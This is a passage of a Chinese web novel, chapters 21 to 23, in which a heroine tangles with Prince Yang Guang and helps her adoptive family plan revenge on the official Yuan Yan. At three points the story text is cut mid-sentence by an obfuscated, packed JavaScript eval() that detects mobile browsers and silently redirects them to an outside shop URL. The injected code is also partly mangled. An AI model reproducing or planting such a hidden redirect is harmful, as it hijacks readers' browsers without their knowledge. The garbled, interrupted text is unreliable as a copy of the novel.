他扶在我腰间的手终于松开,往后退开一步,重新拉开了距离。 失去支撑,我微微晃了一下,立刻站稳。 他不再看我,转身走到一旁,随手拿起搭在屏风上的一件宽松外袍披上,动作从容优雅,仿佛刚才那场近乎逾越的,让人面红耳赤的对峙从未发生。 “回去吧。”他背对着我,声音恢复了惯常的清朗温润,听不出波澜,“今夜之事,本王不会计较。” 我愣在原地,有点没反应过来。 这就完了? 他知道我为啥来的,就这么放我走? 那人呢?那个孩子,我能一起带走吗? 他仿佛看穿了我的犹豫,接着说道: “明日本王会亲自,将你们想要的东西,送到贺府。” 他顿了顿,唇角微扬,那笑容里带着一丝若有若无的、近乎施舍的意味: “算是……结个善缘。” “现在,”他指向侧边一扇不起眼的小门,“从那里出去,自会有人带你离开。记住,萧姑娘。” 他的目光再次落在我脸上,带着最后的、不容错辨的警示: “下不为例。” 21. 诡异的梦 晋王府的侍卫引着我,规规矩矩地从那扇不起眼的小门走了出去。 门在身后合拢,隔绝了里头那令人窒息的暖香和压迫感。冷风一吹,我打了个寒噤,才发现后背的衣衫不知何时已被冷汗浸湿了一片。 巷子口,贺璟的身影从暗处显现。他没说话,目光先快速将我上下扫了一遍,确认我全须全尾,眉头才稍微松了些,但眼神里的凝重丝毫未减。 “怎么从这儿出来了?”他低声问,目光扫了一眼那扇紧闭的偏门,“这是内院通往外巷的门,寻常不会开。” “被抓现行了。”我吐了口气,感觉全身骨头都透着累,“被晋王,堵了个正着。” 贺璟一愣,只简短道:“回去说。” 回到贺府,直奔贺璟的书房。 门一关,连灯都没多点,只有案头一盏烛火幽幽亮着。 “怎么回事?”贺璟的声音还算平稳,但那份紧绷感藏不住,“仔细说。” 我挑重点说了,怎么混进去,怎么找到那院子,怎么“恰好”被管事叫住,然后糊弄不过去,被他当场揭穿。 当然,我省去了那场关键的……浴室对战。 “他好像一开始就知道是我。”我说到最后,有点懊恼地抓了抓头发,“我这易容是不是太差了?怎么他一眼就认出来了?回头得好好练练。” 贺璟压根没搭理我关于易容术的自我怀疑,他抓住了更关键的信息:“他认出你,知道你为什么去,还放你走,意思够明白了。” 他顿了顿,话说得直接: “这人情,他本来就打定主意要卖给贺家。你去不去这一趟,这人他都会送过来。” 我心里顿时一阵憋闷。 合着我这半夜惊魂、被堵在浴房里、脸被擦来抹去……全是白折腾? “而且,”贺璟抬眼看向我,“他放你出来,还把话说得这么明白,意思只有一个,他笃定他送的礼贺家一定会接,他知道我们没有别的选择。” 这话像一盆凉水,把我心里那点火气全浇灭了。 是,我们没有选择。 哪怕知道这是杨广的算计,是明晃晃的拉拢,我们也得接着。 我靠在椅背上,脑子里不受控制地回放刚才的画面。 他那快得离谱的身手,精准的擒拿,游刃有余的压制……还有他看我时那种洞悉一切的眼神,好像我所有的盘算、所有的掩饰,在他面前都无所遁形。 这个人…… 好像比我想象的,还要厉害很多。 不光是身手,还有那份掌控一切的从容,那种明明在算计你、却还能让你觉得“他在帮你”的话术。 “阿兄,”我想了想,还是问道,“你觉得……晋王这人,怎么样?” 贺璟思考了一下才开口,语气是那种武将评价同僚时特有的、直白又保留的调子: “十六岁上战场,不是去镀金,是真刀真枪的跟老兵一起在边塞啃沙子。不到二十岁领兵平陈,仗打得稳,该拿下的都拿下了,麾下折损却控制得比预想好。论胆魄和统兵之能,宗室里无人能及。” “在江都这些年,”贺璟继续道,“修水利,整漕运,安抚地方。江南那块硬骨头,他能啃下来,让赋税增而民怨不显,陛下几次南巡都很满意。”他顿了顿,“朝中文武官员,私下对他评价都不低。” “那你呢?”我看着他在烛光下半明半暗的侧脸,“你怎么看他?” 贺璟沉默了一会儿,然后转开视线,看向窗外浓稠的夜色。 “若不论出身,只论能力、手腕和心志,”他的声音很低,但很清晰,“他比东宫那位,强出不止一筹。” 这句话,像一块石头投进我心里,激起层层说不清道不明的波澜。 能力强,手腕硬,心志坚……若单听贺璟这番评价,再结合坊间那些关于他治理江都、体恤民生的传言,任谁都会觉得,这该是个能匡扶社稷的“明主”苗子。 前提是,如果我不知道他后来会把大隋江山折腾得风雨飘摇、烽烟四起。 “怎么突然问起这个?”贺璟收回目光,落回我脸上。 “就觉得……他功夫好像很高,我没打过他。”我弱弱解释。 话落。 贺璟又沉默了,他的眼睛好像又睁大了,好像再说,啥?被抓包也就算了?你还跟人皇子打了一架? 我低头,有点心虚,不敢看他。 “先回去歇着吧。你最近太累了。”然后,他撂下这么一句。 我如蒙大赦。 回到自己院子,我的贴心小棉袄兼好姐妹云枝早就备好了热水,连澡豆和熏香都挑了我喜欢的清淡草木味。 紧绷了一夜的神经,在这氤氲的热气里,终于一点点松弛下来。 仔细洗去身上可能沾染的、若有若无的松木气息,换上干净柔软的月白寝衣,躺到床上时,只觉得眼皮有千斤重。 最近确实是缺觉缺得厉害,脑子里那些纷乱的念头还没理出个头绪,意识就模糊了,沉进一片安稳的黑暗里。 然后,我做了一个诡异的梦。 那是一个练武场,青石板铺地,兵器架森然。 我被结结实实地绑在练武场正中的木桩上。也不知道梦里哪来的绳子,捆得那叫一个紧。最离谱的是,我头顶还被放了个苹果。 红彤彤的,沉甸甸的,压得我脖子发酸。 杨广站在三十步外,手里拿着一张漆黑长弓,正慢条斯理地擦拭箭镞。他穿了身玄色劲装,袖口紧束,显得肩宽腰窄。 “殿下!”我在梦里大喊,“你绑我做什么?!” 他抬眼看我,“怕你乱动,影响本王练箭。” “练箭你对着靶子练啊!绑我干什么?!” “靶子可不会说话。”他搭上一支箭,箭尖在我身上游移,“更不会……半夜摸进别人家。” 箭矢破空。 “嗖!” 箭擦着我左耳边飞过,精准地射断了左侧鬓发的一支玉簪。 玉簪“叮当”落地,碎成两截。 我的头发散下来一大缕。 “杨广你有病啊!”我气得在梦里直接喊他名字,“碰我簪子干嘛?!” “手滑。”他毫无诚意地说着,又搭上一支箭。 第二箭擦着我右肩飞过,外袍肩部的系带应声而断。 第三箭擦着我腰侧飞过,腰间的丝绦被割断。 第四箭擦着我左手腕飞过,袖口的束腕带子断了。 他就这么一箭一箭地射,每一箭都“刚好”擦着我身体飞过,割断一根带子。我的外袍散开,中衣松垮,头发凌乱。 “你有完没完?!”我气得浑身发抖,“要射就射苹果!别动我衣服!” “苹果?”他挑眉,终于把箭尖对准了我头顶那个完好无损的红苹果,“也行。” 弓弦拉满。 “嗖!” 箭矢疾射而来! 我下意识闭眼。 结果那箭矢在半空诡异地调转了个方向,擦着我腰侧掠过,精准地射断了最后一根系着中衣的衣带。 中衣彻底散开。 “你别看!不许看!”我吓得在梦里大喊。 幸好此刻练武场没风,散开的中衣只是松松地挂着,里面那件乳白色的小衣只露出极其保守的一角。真的就是衣领边缘,半点不该露的都没露。 饶是如此,我脸还是瞬间烧了起来。 杨广显然看到了。 他目光在那抹乳白色边缘停留了一瞬,极快地,又极其自然地移开视线,仿佛什么都没看见。 他放下弓,一步一步向我走来。玄色劲装的衣摆拂过青石板,脚步声在空旷的练武场里回响,每一步都像踩在我紧绷的心弦上。 在我面前站定,俯身。阴影笼罩下来,带着无形的压力。 “这是教你……” 他的手指近乎强制地抬起我的下巴,迫使我正视他。 “……以后不要半夜偷进男人的房间。” 气息拂过我额角: “这就是代价。” 说完,他松开手,转身,毫不留恋地快步离开。 我吓醒,从床上弹起来,心脏砰砰乱跳,撞得胸口发疼。后背全是冷汗,睡衣都湿透了。 我大口喘着气,脑子里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17143462|196057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是梦里那根冰冷的箭,还有杨广那双黑沉沉盯着我的眼睛。 脸上烧得慌,但不是害羞,是气的,是那种被人捏住把柄、扒光了审视的羞恼和憋屈。 什么破梦! 我狠狠揉了揉脸,想把梦里那种被捆得动弹不得的感觉甩掉。 窗外天光已经大亮,太阳明晃晃的,可我心里头那点阴霾一点没散。 有那么一瞬间,我甚至有点茫然。 杨广。 这两个字,最近总是不受控制地往我脑子里钻。 其实从上元夜到现在,满打满算就见了三面。 第一次灯市偶遇,他像个温雅公子;第二次宫宴遥遥相对,他成了城府难测的皇子;第三次就是昨晚,浴房里那场近乎狼狈的对峙……次次都让我心惊。 可抛开这些,他的名字对我来说又太特殊了——隋炀帝,史书里那个败光了家业的“暴君”。 穿越前,他对我来说就是个符号,一段需要背诵的考点,一个被钉在历史耻辱柱上的名字。我对着论文资料里的画像,能冷静分析他的功过,把他拆解成“有功绩”、“有超越时代的战略眼光”、但“骄奢”、“好战”、“滥用民力”几个关键词。 而现在,这个符号活了。 他有温度,有呼吸,会笑,会审视,会念诗,会在你脸上慢条斯理地擦灰,胸口还有一道浅得几乎看不见的疤。 他不再是纸上的几行字,而是活生生的、复杂到让人头疼的一个人。 一个……比我想象中厉害得多,也危险得多的人。 更麻烦的是,我还知道,如果历史那条破船没被我踹翻的话,我以后八成是要嫁给他的。 这就让一切感觉都变得黏稠又别扭。 怕吗?有点,毕竟知道他不是善茬,未来还可能作死。 讨厌吗?也说不上,他目前为止没真对我做什么,甚至……某种意义上还“帮”了我们? 好奇吗? 说实话,好奇死了。 我真没法把我面前这个说话滴水不漏、行事处处透着算计、眼睛里却偶尔会闪过点别样神采的活人,和史书上那个干巴巴的“亡国暴君”标签严丝合缝地贴在一起。 他到底是怎么从一个能带兵、能治民、看起来甚至有点明主潜质的人,变成后来那个样子?中间发生了什么?是他本来就藏着暴虐的根子,还是被权力一步步腐蚀的? 我想知道。 这个念头冒出来,连我自己都吓了一跳。 因为这好奇里,还掺着点说不清道不明的……别扭的吸引力。就好像恐高的我路过了一个深渊,冷风从下面呼呼地往上吹,冻得人手脚发麻。理智拼命拽着我往后退,可脖子却像不听使唤似的,非要梗着往前探——我就想看看,那黑黢黢的底下,到底藏着什么。 想离远点吗? 理智扯着嗓子喊:离他远点!越远越好!最好这辈子都别再打照面。 可那本破史书,还有这见鬼的“缘分”,好像非要把我俩往一条道上拧。 从上元灯市莫名其妙的对诗,到麟德殿外“恰好”捡起他滚落的玉佩,再到昨夜…… 巧得邪门,巧得就像……就像哪个蹩脚写戏文的,早早把“金风玉露一相逢”的酸词儿写满了本子,硬是按着我们的脑袋,一场一场往下演。 太离谱了! 我正对着空气张牙舞爪,房门“吱呀”一声被推开,云枝端着洗漱的东西进来。一眼看见我坐在床上,头发乱糟糟的,脸色估计也不好看。 “小姐你醒啦?”她放下铜盆,瞅着我,“怎么瞧着不大痛快?没睡好?” “做了个糟心梦。”我揉了揉太阳穴,没好气,“梦见有人拿我当箭靶子,脑袋上顶个苹果那种。” 云枝“啊”了一声,小脸皱起来:“那多吓人呀!没伤着吧?” “梦里头的事,伤什么伤。”我摆摆手,不想多提这个荒唐梦,“外头有什么事吗?” “哦,正要说呢。”云枝往前凑了凑,压低声音,“前院刚传话,晋王府送帖子来了。” “说是晋王殿下今儿午后,要亲自过府来拜访老爷。” 22. 证据来了 我梳洗好往前厅去的时候,老贺和小贺正拿着那张晋王府的拜帖在说话。 贺若弼的手指在洒金帖面上点了点:“‘忆昔建康并肩,十载倏忽’……”他朗笑一声,把帖子撂下,“这小子,倒会套近乎。” 贺璟站在一旁,正要开口说证人被晋王截走的事,贺若弼却摆摆手,自己先说起来:“当年平陈,我是实际干活的主帅,他挂着个行军元帅的名头。才十八九,毛头小子一个,老夫起初只觉得又是个来镀金的。” 他端起茶喝了一口,眼神有点飘,像是回到多年前:“可真打起来,那小子竟敢亲自带兵攀悬崖、抄侧翼。左臂中了一箭,血把袖子都洇透了,眉头都没皱一下,冲得比前锋营的老兵还凶。” 贺若弼放下茶盏,语气里带了点自己都没察觉的复杂:“更难得的是,他知道什么时候该闭嘴,什么时候该顶上去。该放权的时候绝不指手画脚,该担责的时候半点不含糊。几场仗打完,老夫心里那点瞧不上,早没了。” 他顿了顿,吐出四个字:“是块料子。” 这时贺璟才接上话,把我们推测那人证可能被晋王截了,以及我昨晚脑子一热摸去晋王府、结果被人当场逮住,对方还撂下话说今早会“送礼”上门的事,简略说了。 贺若弼听完,先是瞪圆了眼睛看向我,胡子都差点翘起来:“你这丫头!胆子忒肥!晋王府也是你能瞎闯的?!万一……” 我缩了缩脖子,没敢吭声。 他喘了口气,把火压下去,沉默了片刻,手指在桌上敲了敲,最终还是点了点头,语气沉缓下来:“罢了……事已至此。不管怎么样,人要是真给送来了,这礼,咱就得接着。” 午后,日头有点偏西的时候,杨广到了。 一身靛青常服,干净利落,就带了俩人,瞧着真跟串门似的。 贺若弼和贺璟在中门迎,我也被拎了出来,按规矩站在廊下边儿上,耳朵竖着。 厅里,茶刚端上来,客套话没说两句,杨广就从袖子里摸出个封好的信套,推到贺若弼面前,直奔主题。 “贺公,那孩子本王问过了,口供在这儿,画了押的。人现在本王府里,没缺胳膊少腿,就是吓着了。本来想让他缓两天再送来……” 他说着,端起茶杯,眼皮抬了抬,目光似有若无地往我这边廊下一扫,嘴角似笑非笑。 “不过没想到,有人等不及,夜里就寻上门了。本王这儿实在不敢耽搁,得空就赶紧给贺公送来了。” ……说我呢呗? 我站在廊下,后槽牙有点痒,直接报我身份证号得了! 贺若弼接过信套,没急着拆,抬眼看他:“殿下怎么想起管这档子事?” “周大有,”杨广放下杯子,脸上那点浅笑收了,眼神很静,“建康城下先登,肠子流出来用手捂着,本王记着他。” 他顿了顿,声音不高,却砸在地上能听出响:“他的儿子,不该这么死,更不该死得这么脏。” 这话说得太直,也太狠。 贺若弼攥着信套的手指,关节微微白了。 杨广看着他,话接得平稳:“贺公是讲袍泽情分的人,这事您不会放着不管。人,口供,本王送来。后面怎么办,您定。要本王在陛下跟前说句话,也行。” 我在廊下听着,手心有点冒汗。 这招太绝了。 不提条件,不说利害,就跟你讲死人,讲血性,讲你心里最过不去的那道坎。老贺这种脾气,最吃这套。 贺若弼沉默了好一会儿,胸口起伏了一下,最终对着杨广,抱了抱拳:“殿下……费心了。这人情,贺某领了。” “贺公客气。”杨广站起身,像是事情办完该走了。他视线在厅里转了一圈,最后落在我身上,停了停。 “方才想起,”他转向贺若弼,语气自然得像随口一提,“麟德殿上见识过萧姑娘的箭术,很是惊艳。今日既来了,不知可否请姑娘移步,送本王一程?路上也好讨教一二。” 说到箭术,我又想起昨晚那个梦。 谢谢,没你准。 老贺,别答应他!让他自己走!! 贺若弼明显愣了一下,看看杨广,又看看我。 对方刚送了份天大的人情,姿态又摆得这么坦荡,实在没法硬拒。他沉吟片刻,最终还是点了点头:“锦儿,送送殿下。” 我:“……” 救命! 心里瞬间刷过一排加粗弹幕:昨晚梦里射箭,今天现实遛弯?这孽缘是买了包年套餐自动续费吗?! 脸上还得绷住:“是。殿下请。” 我落后他半步,沿着回廊往外走,他那俩护卫跟得不远不近。 太阳光有点晃眼。安静,只有脚步声。 我特意保持着距离,就差在脑门上刻“莫挨老子”四个字了。 走了段,前面那人步子慢了点,没回头,声音飘过来: “萧姑娘今日……格外安静。” 我盯着他后脑勺:“殿下面前,自当恭敬。” “是么?”他应了一声,听不出信没信。快到门口时,忽然停下,转过身。 我差点撞上去,赶紧刹住,一抬头,正对上他垂下来的视线。 “昨晚在浴房,姑娘的胆子,似乎比现在大不少。”他看着我,眼里有点戏谑的光,“怎么,光天化日,反倒怕了?” 我心里骂骂咧咧,是嫌跟你说话太费脑子!八百个心眼子转得跟风车似的,谁知道哪句是坑! 面上却纹丝不动:“殿下说笑了,昨夜是臣女莽撞无状,殿下宽宏,不予追究。臣女心中感念,自然更要谨守本分。” “谨守本分……”他重复了一遍,目光在我脸上停了停,忽然往前踏了半步。 距离瞬间拉近,他身上那股清冽的松木气混着一点茶香,不容分说地压过来。我梗着脖子没动,退一步就是我怂了! “萧姑娘箭术见识过了,”他声音压低,跟说悄悄话似的,可每个字都清楚,“功夫也不错。骑术怎么样?” 我心里警铃大作,含糊道:“……一般。” 他嘴角一勾,笑了:“巧了,本王骑术也一般。” ??? 我还没来得及琢磨他这“一般”是几个意思,就听他接着道: “下个月春猎,届时……正好切磋切磋。” 说完,他也不等我反应,像是话已说完、事已定下,极其自然地后退一步,拉开距离。 “就送到这儿吧。”他语气恢复了那种温和的疏淡,微微颔首,“多谢萧姑娘相送。” 然后,转身,走了。 我站在原地,对着空荡荡的回廊,脑子还有点没转过来。 不是……等等! 切磋?! 我答应了吗?! 我这‘一般’是谦虚!是推辞!是‘莫挨老子’的委婉说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17146205|196057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法!你听不懂吗?! 一股被强行“安排”了的憋闷感直冲天灵盖。这人是不是压根就不需要别人同意?自己把流程走完就算完事? 送走杨广那尊笑面佛,我回到前厅,感觉空气里的味儿都变了。不再是压抑,而是一种……磨刀嚯嚯向猪羊的兴奋。 “贺伯伯,证据齐了,是不是该动手了?”我搓着手,感觉热血上涌,恨不得立刻把元淹那王八蛋揪出来游街。 贺若弼瞪我一眼,那眼神跟我上辈子军训教官看我踢正步似的:“急什么?刀子要磨快,更要看准了下刀,一刀毙命,别让血溅自己一身。” 贺璟已经把杨广送来的信套摊开在紫檀木桌面上。那是从羊角沟逃出来那小证人的口供,按了鲜红的手印,字迹虽然稚嫩歪斜,却写得清清楚楚: 三月初七,监工元爷嫌周栓子抬石慢,用鞭子抽他后背,见血。 三月十五,栓子哥发热,求歇半天,元爷不给,逼着上工。 三月廿一午时,栓子哥在鹰嘴崖抬石,脚下打滑,连人带石跌下崖。人当时就没声了,头撞在石头上,血流了一地。 元爷站在崖边看了一眼,说:“晦气,扔后山沟去,别耽误工期。” 两个工头用草席一卷,真扔后山野狼沟了。 元爷当晚在帐里喝酒,跟人说:“死个把民夫算什么,报个染疫病故,还能省份口粮钱。” …… 后面还列了几桩别的:克扣饭食掺沙土、殴打病弱民夫、虚报民夫人数冒领钱粮。 铁证如山。 “这下元淹跑不了了吧?”我信心满满。 “跑是跑不了,”贺璟点头,但语气谨慎,“不过这份证词,只到元淹和他几个直接爪牙。至于贪墨的钱粮进了谁的口袋,东宫那边有没有人点头甚至分润……只字未提。” 我愣了一下,随即心里“哦豁”一声。 懂了。 杨广送来的是一把功能明确的刀,刀锋雪亮,专砍元淹脖颈,绝不附带“以下犯上”的溅射伤害。刀刃上明明白白刻着“东宫属官元淹个人所为”,至于他头顶那片天有没有漏雨,雨水又浇灌了哪片田地。 这把刀,看不见,也不管。 这操作,既卖了人情,又划清了安全边界。帮忙帮到七分满,剩下三分是悬崖,你自己看着办。 真是……滴水不漏。 贺若弼才不管这些弯弯绕,他拳头捏得嘎吱响,眼中杀气腾腾,像一头闻见血腥味的苍老雄狮:“老夫不管那些!老夫只要元淹的狗头!给周大有,给那些枉死的兄弟一个交代!” 也好。 不上升太子。 目标单一,动力十足,仇恨值拉满。 “那咱们怎么把这把刀递出去?总不能直接闯宫门喊冤吧?”我问。 “王谊。”贺璟吐出两个字,“那位御史,脾气硬,骨头更硬,眼里揉不得沙子,最恨贪腐虐民。” 哦,又是这个人。 上次就是他帮老贺躲过一劫,下次碰到高低得请他吃顿饭。 贺璟目光清明,继续说:“证据‘漏’给他,他自会拼死上奏,字字泣血。我们只需要在陛下垂询时,痛陈骊山惨状、军属冤情,恳请陛下严惩元凶即可。王御史是刀锋,我们是握刀的手,刀要快,手要稳。” 计划简单直接:借御史的嘴,喊出自己的冤,目标是元淹的命。 完美。 23. 风波再起 弹劾元淹的朝会,定在三日后。 天还没亮,贺府已灯火通明。父子俩换上朝服,衣摆在晨风中微动,显得格外肃穆。 我送他们到府门口。 “等我们回来。”贺璟上马前,回头看了我一眼,声音很低。 我重重点头,看着两骑马蹄声嘚嘚,消失在朦胧的街巷尽头。 回到府里,却怎么也坐不住。 寅时正刻,晨鼓刚刚敲过。我坐在前厅,听着更漏滴滴答答。云枝端来热茶,我捧在手里,指尖却冰凉。 “小姐,你说……能成吗?”云枝小声问,眼睛亮晶晶的。 “证据确凿,怎么能不成?”我说得斩钉截铁,心里那根弦却绷得死紧。 时间被拉得无限长。 我在脑海里反复预演:王谊该出列了,该念证词了,该激起满殿哗然了……然后太子该出来表演了,该磕头认罪了,该大义灭亲了…… 对,就该这样。 辰时,巳时,午时…… 茶水凉了又换,换了又凉。我在回廊下踱步,数着地上的青砖。一、二、三……九十七、九十八…… 快到未时,门外终于传来马蹄声。 我几乎是冲出去的。 贺若弼和贺璟一前一后下马。老贺脸色看不出喜怒,但肩膀松着,脚步也稳。贺璟跟在他身后,朝我几不可察地点了下头。 “成了?”我压低声音,心提到了嗓子眼。 贺璟走近几步,声音也压得低:“王御史当廷弹劾,证据列得扎实。元淹那些事……满殿皆惊。” “太子呢?” “太子殿下当场出列,”贺璟语气平淡,“跪地认错,声泪俱下,说全因自己‘用人不明、驭下无方’,才让元淹这豺狼欺上瞒下、祸害百姓。愿领责罚,并请严惩元凶。” 我心头一松。 果然,和预想的一样。 “陛下呢?” “陛下脸色很沉,”贺璟顿了顿,“但最后……夸了太子一句‘知错能改,善莫大焉’,又赞王御史‘忠直敢言,国之栋梁’。” 果然是这样,我翻了个白眼。 可眼下太子如何不重要,元淹伏法,已是我们能做到的最好结果了。 话说到这,贺若弼已大步走进正厅,端起桌上早已凉透的茶,仰头一饮而尽。“砰”一声放下茶碗,他吐出一口长气:“痛快!” 眼底那点光,是大仇将报的快意。 我也跟着笑了,紧绷的肩背终于松弛。看来历史又被我撬动了一点,贺伯伯安全了,恶人伏法了。 阳光正好,穿过窗棂洒进来,暖洋洋的。 然而这胜利的错觉,甜得像是裹着砒霜的蜜糖,只维持了一个晚上。 第二天一大早,贺府还沉浸在一种松弛的氛围里。厨房特意多做了两道贺若弼爱吃的炙羊肉和胡麻饼,香气飘满院子。 一封没有落款、字迹陌生的密信,被叠成小小的方块,裹在一把新摘的菘菜里,随着晨间采买的筐篮,悄无声息送进了贺璟的书房。 贺璟刚练完剑,额角还带着汗。 他拆开信,只扫了一眼,脸上那点晨起的热气瞬间褪尽,沉了下来。 他捏着信纸,指尖用力到发白,快步穿过回廊,衣摆带风,径直撞开了贺若弼书房的门。 我正在里头给老贺递新沏的茶。 “父亲,锦儿,看这个。”他把信纸“啪”地按在紫檀桌面上。 我和贺若弼凑过去。 信很短,只有两行。用的是最普通的桑皮纸,墨色匀净,字迹挺拔中藏着一丝不易察觉的峭厉: “元淹或判流放,以全各方颜面,速结案。若旨下,慎言,勿争。其人可死于路,意外便可。” 没有署名。 但那冷静到近乎冷酷的语气,那“全各方颜面”的洞悉,那轻描淡写却杀机凛然的“意外便可”…… 除了前几日才来“结善缘”的晋王,还能有谁? “流放?!” 贺若弼的怒吼像平地惊雷,几乎掀翻屋顶。 他一把抓起信纸,目眦欲裂,额角青筋暴起如蚯蚓:“流放?!他元淹害死几十条人命!害死我军中兄弟的遗孤!贪墨军饷民脂!就判个流放?!陛下……陛下怎能如此糊涂!如此不公!” 他胸膛剧烈起伏,像一头被彻底激怒的雄狮。在书房里来回疾走,沉重的军靴砸得青砖地面“咚咚”作响,震得案上笔架轻颤。 “不行!绝对不行!”他猛地转身,眼睛血红,“若明日朝会真敢如此判,老夫定要当面问清楚!陛下若不给个说法,老夫就跪在太极殿前!这身官服不要了,这顶乌纱不要了!也要为死去的将士讨个公道!” 我脑子里“嗡”的一声! 预知画面里贺伯伯在朝堂上激怒皇帝、被斥“回府待参”的场景,瞬间无比清晰地闪回。 电光石火间,一切贯通了! 原来根子在这里! 不是因为太子,而是因为皇帝,或许是被太子党、关陇势力甚至“□□”的考量影响,最终做出了“和稀泥”的判决! 如果贺伯伯当庭抗命,为了一个“该死之人必须死”的道理,去死磕皇帝已经权衡后下达的裁决。 那不就是当众打皇帝的脸,质疑皇帝的权威和智慧吗?! 这绝对会触怒龙颜!比得罪太子严重十倍! “贺伯伯!您不能去硬碰硬!”我着急大喊,声音都变了调。 “为何不能?!”贺若弼猛地转身,眼中怒火熊熊,“难道让那狗贼活着走到岭南?!让他用将士的血汗钱,在流放地继续做个富家翁?!天底下没有这样的道理!” “父亲息怒!”贺璟上前一步,挡在我和暴怒的老贺之间。 他声音沉静,却带着千钧之力:“此信虽是预警,更是提醒。陛下若真做此判决,必是多方权衡、压力之下不得已的结果。或许有我们不知道的朝局牵扯,或许是想尽快平息事端、避免朝野持续震荡。” 他顿了顿,目光直视贺若弼:“此时若父亲当庭力争,形同逼宫。陛下会如何想?太子党会如何趁机攻讦?关陇那些人又会如何落井下石?他们会异口同声,说父亲倚仗军功,桀骜不驯,胁迫君上,干预司法!甚至……诬父亲借题发挥,意图不轨!” 贺若弼喘着粗气,拳头捏得嘎吱作响,手背上血管凸起。他显然听进去了,但滔天的怒火和憋屈却怎么也压不下去:“那就任由元淹苟活?!让周栓子、让那些民夫白白死了?!” “不!” 我抢上前,脑子飞快转动,语速又急又快:“贺伯伯,咱们的最终目标是什么?是元淹死!对不对?不一定非要他死在长安的刑场上,死在众目睽睽的断头台啊!” 我指着信纸上最后那句,“‘其人可死于路,意外便可’!这意思再明白不过!判决是判决,是给各方看的表面文章!执行是执行,是咱们可以做手脚的地方!” 我越说思路越清晰。 “流放路上,山高水远,瘴疠横行,盗匪出没。落石、滑坡、失足、疫病……哪个不能要他的命?咱们让他‘意外’地死,死得合情合理,死得神不知鬼不觉!既报了仇,雪了恨,又不会给任何人留下攻击咱们的借口!这比在朝堂上跟陛下硬顶,安全多了,也……解气多了!” 贺璟立刻沉声附和:“锦儿说得对。明面上的判决,是陛下和各方势力的平衡点,是眼下朝局能接受的‘盖子’。我们若当众掀开这个盖子,就是打破了平衡,会成为众矢之的。但暗地里的手段,只要干净利落,痕迹抹平,谁能查到我们头上?元淹照样得死,周兄弟的仇照样能报,贺家还能全身而退,继续在朝中为陛下效力,为更多将士撑腰。这才是长远之计。” 老贺死死攥着拳头,手臂肌肉块块贲起,牙关紧咬,腮帮子绷出凌厉的线条。他像一座即将喷发的火山,在进行着极其激烈痛苦的思想斗争。 一边是浸入骨髓的武将血性,是为袍泽讨回绝对公道的执念,是宁折不弯的刚直。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151107|196057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>另一边,是儿子和养女血淋淋点出的政治现实,是更隐秘却也更有效的复仇路径,是家族存续的重担。 他死死盯着那封信上“意外便可”四个字。 书房里静得可怕。只有他粗重的呼吸声,和更漏单调的滴水声。 良久。 他喉咙里发出“嗬”的一声,像是把满腔的怒吼和血气都强行咽了回去。 然后,他重重地、缓慢地吐出一口浊气。转向贺璟。每一个字都像是从牙缝里磨出来的,低沉,嘶哑,却不容置疑: “流放路线。押解人马。途经州县。给老夫查清楚。一个字都不许漏。” 话落。 我悬到嗓子眼的心,终于落下一半。 第二次朝会,天色比上次更阴。 贺若弼和贺璟出门时,天还是墨黑。我送他们到门口,灯笼的光只照亮几步远。老贺没说话,只是拍了拍我的肩,力道很重。 贺璟看了我一眼,有安抚,也有让我放下心的坚定。 寅时,卯时,辰时…… 时间像被冻住了,每一刻都漫长难熬。 我让云枝去门口守着,自己却坐不住,在厅里来回踱步。 巳时初刻,云枝小跑着进来,脸冻得通红:“小姐,坊里有车马声,像是朝会散了!” 我心头一紧,小跑着冲到府门外。 过了会,马蹄声由远及近。 贺若弼下马时,背脊挺得笔直,像一杆标枪。但脚步落地那一下,却沉重得像拖着无形的镣铐。他脸色铁青,嘴唇抿成一条锋利的直线,眼神里有什么东西……熄灭了。 贺璟跟在他身后,下马时一个踉跄,被我扶住。他的手冰凉,指尖微微发抖。 “判了?”我声音发干,心里已经有了答案。 “流放。”贺璟只说了两个字,声音嘶哑。 果然。 和杨广预警的一模一样。 “陛下说,”贺璟深吸一口气,“念元淹早年有微功,兼涉东宫体面,不宜过度张扬……流放岭南三千里,遇赦不赦。其爪牙张奎、李肆,斩立决。其余人等,依律流徙。” “然后呢?”我追问,“朝上……就没人说话?” 贺璟沉默了一下。 再开口时,语气里带了一丝难以形容的复杂:“李纲……站出来了。” 他闭了闭眼,像是在回忆那个画面:“他穿着那身旧官袍,洗得发白,下摆还沾着泥。也不跪,就那么站着……” 